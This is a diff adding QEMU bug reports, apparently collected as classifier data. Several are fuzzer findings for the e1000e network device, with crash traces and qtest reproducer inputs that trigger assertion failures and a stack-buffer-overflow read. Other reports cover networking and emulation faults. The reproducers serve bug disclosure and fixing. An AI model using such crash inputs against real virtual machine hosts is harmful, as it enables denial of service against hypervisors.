0x000006ffdf054e411b0002e10000000006ffe1054e411b0002e10000000006ffe3054e411b0002e10000000006ffe5054e411b0002e10000000006ffe7054e411b0002e10000000006ffe9054e411b0002e10000000006ffeb054e411b0002e10000000006ffed054e411b0002e10000000006ffef054e411b0002e10000000006fff1054e411b0002e10000000006fff3054e411b0002e10000000006fff5054e411b0002e10000000006fff7054e411b0002e10000000006fff9054e411b0002e10000000006fffb054e411b0002e10000000006fffd054e411b0002e10000000006ffff054e411b0002e10000000006ff01054e411b0002e10000000006ff03054e411b0002e10000000006ff05054e411b0002e10000000006ff07054e411b0002e10000000006ff09054e411b0002e10000000006ff0b054e411b0002e10000000006ff0d054e411b0002e10000000006ff0f054e411b0002e10000000006ff11054e411b0002e10000000006ff13054e411b0002e10000000006ff15054e411b0002e10000000006ff17054e411b0002e10000000006ff19054e411b0002e10000000006ff1b054e411b0002e10000000006ff1d054e411b0002e10000000006ff1f054e411b0002e10000000006ff21054e411b0002e10000000006ff23054e411b0002e10000000006ff25054e411b0002e10000000006ff27054e411b0002e10000000006ff29054e411b0002e10000000006ff2b054e411b0002e10000000006ff2d054e411b0002e10000000006ff2f054e411b0002e10000000006ff31054e411b0002e10000000006ff33054e411b0002e10000000006ff35054e411b0002e10000000006ff37054e411b0002e10000000006ff39054e411b0002e10000000006ff3b054e411b0002e10000000006ff3d054e411b0002e10000000006ff3f054e411b0002e10000000006ff41054e411b0002e10000000006ff43054e411b0002e10000000006ff45054e411b0002e10000000006ff47054e411b0002e10000000006ff49054e411b0002e10000000006ff4b054e411b0002e10000000006ff4d054e411b0002e10000000006ff4f054e411b0002e10000000006ff51054e411b0002e10000000006ff53054e411b0002e10000000006ff55054e411b0002e10000000006ff57054e411b0002e10000000006ff59054e411b0002e10000000006ff5b054e411b0002e10000000006ff5d054e411b0002e10000000006ff5f054e411b0002e10000000006ff61054e411b0002e10000000006ff6305 +EOF + +I also attached the traces to this launchpad report, in case the formatting is broken: + +qemu-system-i386 -M pc-q35-5.0 -nographic -qtest stdio -monitor none -serial none < attachment + +Please let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1879223 b/results/classifier/gemma3:12b/network/1879223 new file mode 100644 index 000000000..f5cff32f8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1879223 @@ -0,0 +1,55 @@ + +Assertion failure in e1000e_write_rx_descr + +Hello, +While fuzzing, I found an input which triggers an assertion failure in +e1000e_write_rx_descr: + +qemu-system-i386: /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1359: void e1000e_write_rx_descr(E1000ECore *, uint8_t *, struct NetRxPkt *, const E1000E_RSSInfo *, size_t, uint16_t (*)[4]): Assertion `ps_hdr_len == 0' failed. +Aborted +#3 0x00007ffff684d092 in __GI___assert_fail (assertion=0x5555583703e0 <str> "ps_hdr_len == 0", file=0x555558361080 <str> "/home/alxndr/Development/qemu/hw/net/e1000e_core.c", line=0x54f, function=0x555558370420 <__PRETTY_FUNCTION__.e1000e_write_rx_descr> "void e1000e_write_rx_descr(E1000ECore *, uint8_t *, struct NetRxPkt *, const E1000E_RSSInfo *, size_t, uint16_t (*)[4])") at assert.c:101 +#4 0x0000555557206a58 in e1000e_write_rx_descr (core=0x7fffee0dd4e0, desc=0x7fffffff8720 "", pkt=0x0, rss_info=0x7fffffff8c50, ps_hdr_len=0x2a, written=0x7fffffff87c0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1359 +#5 0x00005555571f8507 in e1000e_write_packet_to_guest (core=0x7fffee0dd4e0, pkt=0x61100004b900, rxr=0x7fffffff8c30, rss_info=0x7fffffff8c50) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1607 +#6 0x00005555571f5670 in e1000e_receive_iov (core=0x7fffee0dd4e0, iov=0x61900004e780, iovcnt=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1709 +#7 0x00005555571f1afc in e1000e_nc_receive_iov (nc=0x614000007460, iov=0x61900004e780, iovcnt=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e.c:213 +#8 0x00005555571d5977 in net_tx_pkt_sendv (pkt=0x631000028800, nc=0x614000007460, iov=0x61900004e780, iov_cnt=0x4) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:544 +#9 0x00005555571d50e4 in net_tx_pkt_send (pkt=0x631000028800, nc=0x614000007460) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:620 +#10 0x00005555571d638f in net_tx_pkt_send_loopback (pkt=0x631000028800, nc=0x614000007460) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:633 +#11 0x000055555722b600 in e1000e_tx_pkt_send (core=0x7fffee0dd4e0, tx=0x7fffee0fd748, queue_index=0x0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:664 +#12 0x0000555557229ca6 in e1000e_process_tx_desc (core=0x7fffee0dd4e0, tx=0x7fffee0fd748, dp=0x7fffffff9440, queue_index=0x0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743 +#13 0x0000555557228ea5 in e1000e_start_xmit (core=0x7fffee0dd4e0, txr=0x7fffffff9640) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934 +#14 0x000055555721c70f in e1000e_set_tdt (core=0x7fffee0dd4e0, index=0xe06, val=0xcb) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451 +#15 0x00005555571fa436 in e1000e_core_write (core=0x7fffee0dd4e0, addr=0x438, val=0xcb, size=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261 +#16 0x00005555571ed11c in e1000e_mmio_write (opaque=0x7fffee0da800, addr=0x438, val=0xcb, size=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e.c:109 +#17 0x00005555565e78b2 in memory_region_write_accessor (mr=0x7fffee0dd110, addr=0x438, value=0x7fffffff9cb0, size=0x4, shift=0x0, mask=0xffffffff, attrs=...) at /home/alxndr/Development/qemu/memory.c:483 +#18 0x00005555565e7212 in access_with_adjusted_size (addr=0x438, value=0x7fffffff9cb0, size=0x1, access_size_min=0x4, access_size_max=0x4, access_fn=0x5555565e72e0 <memory_region_write_accessor>, mr=0x7fffee0dd110, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#19 0x00005555565e5c31 in memory_region_dispatch_write (mr=0x7fffee0dd110, addr=0x438, data=0xcb, op=MO_8, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +#20 0x00005555563f04b9 in flatview_write_continue (fv=0x606000037880, addr=0xe1020438, attrs=..., ptr=0x61900009ba80, len=0x1, addr1=0x438, l=0x1, mr=0x7fffee0dd110) at /home/alxndr/Development/qemu/exec.c:3137 +#21 0x00005555563df2dd in flatview_write (fv=0x606000037880, addr=0xe1020077, attrs=..., buf=0x61900009ba80, len=0x3c2) at /home/alxndr/Development/qemu/exec.c:3177 +#22 0x00005555563deded in address_space_write (as=0x6080000027a0, addr=0xe1020077, attrs=..., buf=0x61900009ba80, len=0x3c2) at /home/alxndr/Development/qemu/exec.c:3268 + + + +I can reproduce this in qemu 5.0 using these qtest commands: + +cat << EOF | ./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0xe1025008 0x4 0xfbffa3fa +write 0xed040c 0x3 0x080047 +write 0xe1020077 0x3c2 0xce0004ed0000000000cb008405120002e100000000ff000801ffff02ce0004ed0000000000cb008405120002e100000000ff000a01ffff02ce0004ed0000000000cb008405120002e100000000ff000c01ffff02ce0004ed0000000000cb008405120002e100000000ff000e01ffff02ce0004ed0000000000cb008405120002e100000000ff001001ffff02ce0004ed0000000000cb008405120002e100000000ff001201ffff02ce0004ed0000000000cb008405120002e100000000ff001401ffff02ce0004ed0000000000cb008405120002e100000000ff001601ffff02ce0004ed0000000000cb008405120002e100000000ff001801ffff02ce0004ed0000000000cb008405120002e100000000ff001a01ffff02ce0004ed0000000000cb008405120002e100000000ff001c01ffff02ce0004ed0000000000cb008405120002e100000000ff001e01ffff02ce0004ed0000000000cb008405120002e100000000ff002001ffff02ce0004ed0000000000cb008405120002e100000000ff002201ffff02ce0004ed0000000000cb008405120002e100000000ff002401ffff02ce0004ed0000000000cb008405120002e100000000ff002601ffff02ce0004ed0000000000cb008405120002e100000000ff002801ffff02ce0004ed0000000000cb008405120002e100000000ff002a01ffff02ce0004ed0000000000cb008405120002e100000000ff002c01ffff02ce0004ed0000000000cb008405120002e100000000ff002e01ffff02ce0004ed0000000000cb008405120002e100000000ff003001ffff02ce0004ed0000000000cb008405120002e100000000ff003201ffff02ce0004ed0000000000cb008405120002e100000000ff003401ffff02ce0004ed0000000000cb008405120002e100000000ff003601ffff02ce0004ed0000000000cb008405120002e100000000ff003801ffff02ce0004ed0000000000cb008405120002e100000000ff003a01ffff02ce0004ed0000000000cb008405120002e100000000ff003c01ffff02ce0004ed0000000000cb008405120002e100000000ff003e01ffff02ce0004ed0000000000cb008405120002e100000000ff004001ffff02ce0004ed0000000000cb008405120002e100000000ff004201ffff02ce0004ed0000000000cb008405120002e100000000ff004401ffff02ce0004ed0000000000cb008405120002e100000000ff004601ffff02ce0004ed0000000000cb008405120002e100000000ff004801ffff02ce0004ed0000000000cb008405120002e100000000ff004a01ffff02ce0004ed0000000000cb +EOF + +Also attaching them to this report, in case they are formatted incorrectly: +./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 < attachment + +Please let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1879227 b/results/classifier/gemma3:12b/network/1879227 new file mode 100644 index 000000000..3080f05a2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1879227 @@ -0,0 +1,54 @@ + +Assertion failure in e1000e_write_lgcy_rx_descr + +Hello, +While fuzzing, I found an input which triggers an assertion failure in +e1000e_write_lgcy_rx_descr: + +qemu-system-i386: /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1283: void e1000e_write_lgcy_rx_descr(E1000ECore *, uint8_t *, struct NetRxPkt *, const E1000E_RSSInfo *, uint16_t): Assertion `!rss_info->enabled' failed. +Aborted +#3 0x00007ffff684d092 in __GI___assert_fail (assertion=0x5555583704c0 <str> "!rss_info->enabled", file=0x555558361080 <str> "/home/alxndr/Development/qemu/hw/net/e1000e_core.c", line=0x503, function=0x555558370500 <__PRETTY_FUNCTION__.e1000e_write_lgcy_rx_descr> "void e1000e_write_lgcy_rx_descr(E1000ECore *, uint8_t *, struct NetRxPkt *, const E1000E_RSSInfo *, uint16_t)") at assert.c:101 +#4 0x0000555557209937 in e1000e_write_lgcy_rx_descr (core=0x7fffee0dd4e0, desc=0x7fffffff8720 "}}}}}}\253?", pkt=0x61100004b900, rss_info=0x7fffffff8c50, length=0xcb) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1283 +#5 0x0000555557206b0b in e1000e_write_rx_descr (core=0x7fffee0dd4e0, desc=0x7fffffff8720 "}}}}}}\253?", pkt=0x61100004b900, rss_info=0x7fffffff8c50, ps_hdr_len=0x0, written=0x7fffffff87c0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1360 +#6 0x00005555571f8507 in e1000e_write_packet_to_guest (core=0x7fffee0dd4e0, pkt=0x61100004b900, rxr=0x7fffffff8c30, rss_info=0x7fffffff8c50) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1607 +#7 0x00005555571f5670 in e1000e_receive_iov (core=0x7fffee0dd4e0, iov=0x61900004e780, iovcnt=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1709 +#8 0x00005555571f1afc in e1000e_nc_receive_iov (nc=0x614000007460, iov=0x61900004e780, iovcnt=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e.c:213 +#9 0x00005555571d5977 in net_tx_pkt_sendv (pkt=0x631000028800, nc=0x614000007460, iov=0x61900004e780, iov_cnt=0x4) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:544 +#10 0x00005555571d50e4 in net_tx_pkt_send (pkt=0x631000028800, nc=0x614000007460) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:620 +#11 0x00005555571d638f in net_tx_pkt_send_loopback (pkt=0x631000028800, nc=0x614000007460) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:633 +#12 0x000055555722b600 in e1000e_tx_pkt_send (core=0x7fffee0dd4e0, tx=0x7fffee0fd748, queue_index=0x0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:664 +#13 0x0000555557229ca6 in e1000e_process_tx_desc (core=0x7fffee0dd4e0, tx=0x7fffee0fd748, dp=0x7fffffff9440, queue_index=0x0) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743 +#14 0x0000555557228ea5 in e1000e_start_xmit (core=0x7fffee0dd4e0, txr=0x7fffffff9640) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934 +#15 0x000055555721c70f in e1000e_set_tdt (core=0x7fffee0dd4e0, index=0xe06, val=0xcb) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451 +#16 0x00005555571fa436 in e1000e_core_write (core=0x7fffee0dd4e0, addr=0x438, val=0xcb, size=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261 +#17 0x00005555571ed11c in e1000e_mmio_write (opaque=0x7fffee0da800, addr=0x438, val=0xcb, size=0x4) at /home/alxndr/Development/qemu/hw/net/e1000e.c:109 +#18 0x00005555565e78b2 in memory_region_write_accessor (mr=0x7fffee0dd110, addr=0x438, value=0x7fffffff9cb0, size=0x4, shift=0x0, mask=0xffffffff, attrs=...) at /home/alxndr/Development/qemu/memory.c:483 +#19 0x00005555565e7212 in access_with_adjusted_size (addr=0x438, value=0x7fffffff9cb0, size=0x1, access_size_min=0x4, access_size_max=0x4, access_fn=0x5555565e72e0 <memory_region_write_accessor>, mr=0x7fffee0dd110, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#20 0x00005555565e5c31 in memory_region_dispatch_write (mr=0x7fffee0dd110, addr=0x438, data=0xcb, op=MO_8, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +#21 0x00005555563f04b9 in flatview_write_continue (fv=0x606000037880, addr=0xe1020438, attrs=..., ptr=0x61900009ba80, len=0x1, addr1=0x438, l=0x1, mr=0x7fffee0dd110) at /home/alxndr/Development/qemu/exec.c:3137 +#22 0x00005555563df2dd in flatview_write (fv=0x606000037880, addr=0xe10200a8, attrs=..., buf=0x61900009ba80, len=0x391) at /home/alxndr/Development/qemu/exec.c:3177 + + +I can reproduce this in qemu 5.0 using these qtest commands: + +cat << EOF | ./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0xe1025008 0x4 0xfbffa3fa +write 0xed040c 0x3 0x080047 +write 0xe1020077 0x3c2 0xce0004ed0000000000cb008405120002e100000000ff000801ffff02ce0004ed0000000000cb008405120002e100000000ff000a01ffff02ce0004ed0000000000cb008405120002e100000000ff000c01ffff02ce0004ed0000000000cb008405120002e100000000ff000e01ffff02ce0004ed0000000000cb008405120002e100000000ff001001ffff02ce0004ed0000000000cb008405120002e100000000ff001201ffff02ce0004ed0000000000cb008405120002e100000000ff001401ffff02ce0004ed0000000000cb008405120002e100000000ff001601ffff02ce0004ed0000000000cb008405120002e100000000ff001801ffff02ce0004ed0000000000cb008405120002e100000000ff001a01ffff02ce0004ed0000000000cb008405120002e100000000ff001c01ffff02ce0004ed0000000000cb008405120002e100000000ff001e01ffff02ce0004ed0000000000cb008405120002e100000000ff002001ffff02ce0004ed0000000000cb008405120002e100000000ff002201ffff02ce0004ed0000000000cb008405120002e100000000ff002401ffff02ce0004ed0000000000cb008405120002e100000000ff002601ffff02ce0004ed0000000000cb008405120002e100000000ff002801ffff02ce0004ed0000000000cb008405120002e100000000ff002a01ffff02ce0004ed0000000000cb008405120002e100000000ff002c01ffff02ce0004ed0000000000cb008405120002e100000000ff002e01ffff02ce0004ed0000000000cb008405120002e100000000ff003001ffff02ce0004ed0000000000cb008405120002e100000000ff003201ffff02ce0004ed0000000000cb008405120002e100000000ff003401ffff02ce0004ed0000000000cb008405120002e100000000ff003601ffff02ce0004ed0000000000cb008405120002e100000000ff003801ffff02ce0004ed0000000000cb008405120002e100000000ff003a01ffff02ce0004ed0000000000cb008405120002e100000000ff003c01ffff02ce0004ed0000000000cb008405120002e100000000ff003e01ffff02ce0004ed0000000000cb008405120002e100000000ff004001ffff02ce0004ed0000000000cb008405120002e100000000ff004201ffff02ce0004ed0000000000cb008405120002e100000000ff004401ffff02ce0004ed0000000000cb008405120002e100000000ff004601ffff02ce0004ed0000000000cb008405120002e100000000ff004801ffff02ce0004ed0000000000cb008405120002e100000000ff004a01ffff02ce0004ed0000000000cb +EOF + +Also attaching them to this report, in case they are formatted incorrectly: +./qemu-system-i386 \ +-qtest stdio -nographic -monitor none -serial none \ +-M pc-q35-5.0 < attachment + +Please let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1879531 b/results/classifier/gemma3:12b/network/1879531 new file mode 100644 index 000000000..4b485ed09 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1879531 @@ -0,0 +1,100 @@ + +Stack-overflow in _eth_get_rss_ex_dst_addr + +Hello, +While fuzzing, I found a 1-byte stack-overflow (read) through the +e1000e. + +==10318==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb76c16c2 at pc 0x55594f1a69e1 bp 0x7ffdb76c15a0 sp 0x7ffdb76c1598 +READ of size 1 at 0x7ffdb76c16c2 thread T0 + #0 0x55594f1a69e0 in _eth_get_rss_ex_dst_addr /home/alxndr/Development/qemu/net/eth.c:410:17 + #1 0x55594f1a39da in eth_parse_ipv6_hdr /home/alxndr/Development/qemu/net/eth.c:532:17 + #2 0x55594ebc34f2 in net_tx_pkt_parse_headers /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:228:14 + #3 0x55594ebc2149 in net_tx_pkt_parse /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:273:9 + #4 0x55594ec1ba76 in e1000e_process_tx_desc /home/alxndr/Development/qemu/hw/net/e1000e_core.c:737:29 + #5 0x55594ec1aea4 in e1000e_start_xmit /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934:9 + #6 0x55594ec0e70e in e1000e_set_tdt /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451:9 + #7 0x55594ebec435 in e1000e_core_write /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261:9 + #8 0x55594ebdf11b in e1000e_mmio_write /home/alxndr/Development/qemu/hw/net/e1000e.c:109:5 + #9 0x55594dfd98b1 in memory_region_write_accessor /home/alxndr/Development/qemu/memory.c:483:5 + #10 0x55594dfd9211 in access_with_adjusted_size /home/alxndr/Development/qemu/memory.c:544:18 + #11 0x55594dfd7c30 in memory_region_dispatch_write /home/alxndr/Development/qemu/memory.c:1476:16 + #12 0x55594dde24b8 in flatview_write_continue /home/alxndr/Development/qemu/exec.c:3137:23 + #13 0x55594ddd12dc in flatview_write /home/alxndr/Development/qemu/exec.c:3177:14 + #14 0x55594ddd0dec in address_space_write /home/alxndr/Development/qemu/exec.c:3268:18 + #15 0x55594dfcdbdc in qtest_process_command /home/alxndr/Development/qemu/qtest.c:567:9 + #16 0x55594dfc3700 in qtest_process_inbuf /home/alxndr/Development/qemu/qtest.c:710:9 + #17 0x55594dfc2cc8 in qtest_read /home/alxndr/Development/qemu/qtest.c:722:5 + #18 0x55594f74b259 in qemu_chr_be_write_impl /home/alxndr/Development/qemu/chardev/char.c:183:9 + #19 0x55594f74b3ee in qemu_chr_be_write /home/alxndr/Development/qemu/chardev/char.c:195:9 + #20 0x55594f7556fc in fd_chr_read /home/alxndr/Development/qemu/chardev/char-fd.c:68:9 + #21 0x55594f7ea488 in qio_channel_fd_source_dispatch /home/alxndr/Development/qemu/io/channel-watch.c:84:12 + #22 0x7f43f6c1d897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) + #23 0x55594f9dea5d in glib_pollfds_poll /home/alxndr/Development/qemu/util/main-loop.c:219:9 + #24 0x55594f9dd1d7 in os_host_main_loop_wait /home/alxndr/Development/qemu/util/main-loop.c:242:5 + #25 0x55594f9dcd6e in main_loop_wait /home/alxndr/Development/qemu/util/main-loop.c:518:11 + #26 0x55594e44cd01 in qemu_main_loop /home/alxndr/Development/qemu/softmmu/vl.c:1664:9 + #27 0x55594f803c21 in main /home/alxndr/Development/qemu/softmmu/main.c:49:5 + #28 0x7f43f57b4e0a in __libc_start_main /build/glibc-GwnBeO/glibc-2.30/csu/../csu/libc-start.c:308:16 + #29 0x55594dd03889 in _start (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-system-i386+0xdbd889) + +Address 0x7ffdb76c16c2 is located in stack of thread T0 at offset 34 in frame + #0 0x55594f1a303f in eth_parse_ipv6_hdr /home/alxndr/Development/qemu/net/eth.c:486 + + This frame has 1 object(s): + [32, 34) 'ext_hdr' (line 487) <== Memory access at offset 34 overflows this variable +HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork + (longjmp and C++ exceptions *are* supported) +SUMMARY: AddressSanitizer: stack-buffer-overflow /home/alxndr/Development/qemu/net/eth.c:410:17 in _eth_get_rss_ex_dst_addr +Shadow bytes around the buggy address: + 0x100036ed0280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed0290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed02a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed02b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed02c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +=>0x100036ed02d0: 00 00 00 00 f1 f1 f1 f1[02]f3 f3 f3 00 00 00 00 + 0x100036ed02e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed02f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed0300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed0310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100036ed0320: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc +==10318==ABORTING + +I can reproduce it in qemu 5.0 built with address sanitizer using: + +cat << EOF | ./qemu-system-i386 -M pc-q35-5.0 -accel qtest -qtest stdio -monitor none -serial none -nographic +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0x25 0x2b 0x86dd1900ff5df747002bfc90dd1900ff5df747002bfc9add1900ff5df747002bfca4dd1900ff5df747002b +write 0xe1020030 0x409 0x190002e100000000350908077cdd190002e100000000350912077cdd190002e10000000035091c077cdd190002e100000000350926077cdd190002e100000000350930077cdd190002e10000000035093a077cdd190002e100000000350944077cdd190002e10000000035094e077cdd190002e100000000350958077cdd190002e100000000350962077cdd190002e10000000035096c077cdd190002e100000000350976077cdd190002e100000000350980077cdd190002e10000000035098a077cdd190002e100000000350994077cdd190002e10000000035099e077cdd190002e1000000003509a8077cdd190002e1000000003509b2077cdd190002e1000000003509bc077cdd190002e1000000003509c6077cdd190002e1000000003509d0077cdd190002e1000000003509da077cdd190002e1000000003509e4077cdd190002e1000000003509ee077cdd190002e1000000003509f8077cdd190002e100000000350902077cdd190002e10000000035090c077cdd190002e100000000350916077cdd190002e100000000350920077cdd190002e10000000035092a077cdd190002e100000000350934077cdd190002e10000000035093e077cdd190002e100000000350948077cdd190002e100000000350952077cdd190002e10000000035095c077cdd190002e100000000350966077cdd190002e100000000350970077cdd190002e10000000035097a077cdd190002e100000000350984077cdd190002e10000000035098e077cdd190002e100000000350998077cdd190002e1000000003509a2077cdd190002e1000000003509ac077cdd190002e1000000003509b6077cdd190002e1000000003509c0077cdd190002e1000000003509ca077cdd190002e1000000003509d4077cdd190002e1000000003509de077cdd190002e1000000003509e8077cdd190002e1000000003509f2077cdd190002e1000000003509fc077cdd190002e100000000350906077cdd190002e100000000350910077cdd190002e10000000035091a077cdd190002e100000000350924077cdd190002e10000000035092e077cdd190002e100000000350938077cdd190002e100000000350942077cdd190002e10000000035094c077cdd190002e100000000350956077cdd190002e100000000350960077cdd190002e10000000035096a077cdd190002e100000000350974077cdd190002e10000000035097e077cdd190002e100000000350988077cdd190002e100000000350992077cdd190002e10000000035099c077cdd190002e1000000003509a6077cdd190002e1000000003509b0077cdd190002e1000000003509ba077cdd190002e1000000003509c4077cdd190002e1000000003509ce077cdd190002e1000000003509d8077cdd190002e1000000003509e2 +EOF + +Also attaching these commands. They can be executed with +./qemu-system-i386 -M pc-q35-5.0 -accel qtest -qtest stdio -monitor none -serial none -nographic < attachment + +Let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1879590 b/results/classifier/gemma3:12b/network/1879590 new file mode 100644 index 000000000..aa6c864a0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1879590 @@ -0,0 +1,37 @@ + +Using qemu-system-sparc64 no network interface seems to exist + +Using boot command: + +qemu-system-sparc64 -M niagara -L /home/chrisp/sparc/S10image/ -nographic -m 256 -drive if=pflash,readonly=on,file=/home/chrisp/sparc/S10image/disk.s10hw2 + +After I log into solaris system I see no network devices other than the loopback device. +All the docs I can see suggest it should come up with a default network device that allows communication via the hosts network. Host is ubuntu 64bit. + +root@giant:/home/chrisp/sparc# qemu-system-sparc64 -version +QEMU emulator version 5.0.0 +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + + +dladm show-link +ifconfig -a + + + +ok boot +Loading ufs-file-system package 1.4 04 Aug 1995 13:02:54. +FCode UFS Reader 1.12 00/07/17 15:48:16. +Loading: /platform/SUNW,Sun-Fire-T2000/ufsboot +Loading: /platform/sun4v/ufsboot +SunOS Release 5.10 Version Generic_118822-23 64-bit +Copyright 1983-2005 Sun Microsystems, Inc. All rights reserved. +Use is subject to license terms. +Hostname: unknown + +unknown console login: root +Last login: Wed Feb 8 09:01:28 on console +Sun Microsystems Inc. SunOS 5.10 Generic January 2005 +# dladm show-link +# ifconfig -a +lo0: flags=2001000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4,VIRTUAL> mtu 8232 index 1 + inet 127.0.0.1 netmask ff000000 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1880332 b/results/classifier/gemma3:12b/network/1880332 new file mode 100644 index 000000000..8d7b3d5f1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1880332 @@ -0,0 +1,8 @@ + +Possible regression in QEMU 5.0.0 after CVE-2020-10702 (segmentation fault) + +I've come across a very specific situation, but I'm sure it could be replicated in other cases. + +In QEMU 5.0.0 when I use user emulation with a cURL binary for aarch64 and connect to a server using TLS 1.2 and ECDHE-ECDSA-CHACHA20-POLY1305 cypher a segmentation fault occurs. + +I attach a Dockerfile that reproduces this crash and the strace output with and without the de0b1bae6461f67243282555475f88b2384a1eb9 commit reverted. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1882241 b/results/classifier/gemma3:12b/network/1882241 new file mode 100644 index 000000000..56a607ec5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1882241 @@ -0,0 +1,21 @@ + +file transfer over cifs to 64bit guest corrupts large files + +qemu 4.0 compiled fom source. +vm called by +qemu-system-x86_64 -cpu qemu64 -smp 4 -m 4G -drive file=/data/images/slack14.2_64bit_test.qcow2,format=qcow2 -cdrom /mnt/smb1/slackware/iso/slackware64-14.2-install-dvd.iso -boot c -net nic,macaddr=02:00:00:11:11:17,model=i82551 -net bridge,br=br0 -enable-kvm -k en-gb -display vnc=:3 -monitor telnet:localhost:7103,server,nowait,nodelay + +copying large files eg 2.4gb or reading them on a cifs mount in the guest causes corruption every time. For smaller files 40-60mb corruption is more than 50% of the time. tested by md5sum on cifs server, or on host machine vs. on guest vm. +corruption is seen only with 64bit guest using cifs with i82551 emulated network device +ie. 32bit guest using cifs with i82551 emulated network device gives no corruption. + +changing the emulated device to vmxnet3 removes the data corruption (see below) + +qemu-system-x86_64 -cpu qemu64 -smp 4 -m 4G -drive file=/data/images/slack14.2_64bit_test.qcow2,format=qcow2 -cdrom /mnt/smb1/slackware/iso/slackware64-14.2-install-dvd.iso -boot c -net nic,macaddr=02:00:00:11:11:17,model=vmxnet3 -net bridge,br=br0 -enable-kvm -k en-gb -display vnc=:3 -monitor telnet:localhost:7103,server,nowait,nodelay + +this corruption is repeatable. ie. I created new vm, call using top example, installed 64bit linux, mounted cifs share and copied 2.4gb file to /tmp then run md5sum "filecopied" +the md5sum is different every time. copy same file to the host, or to a 32bit guest with the same virtual network device and bridge and md5sums are correct. The host pysical network adapter 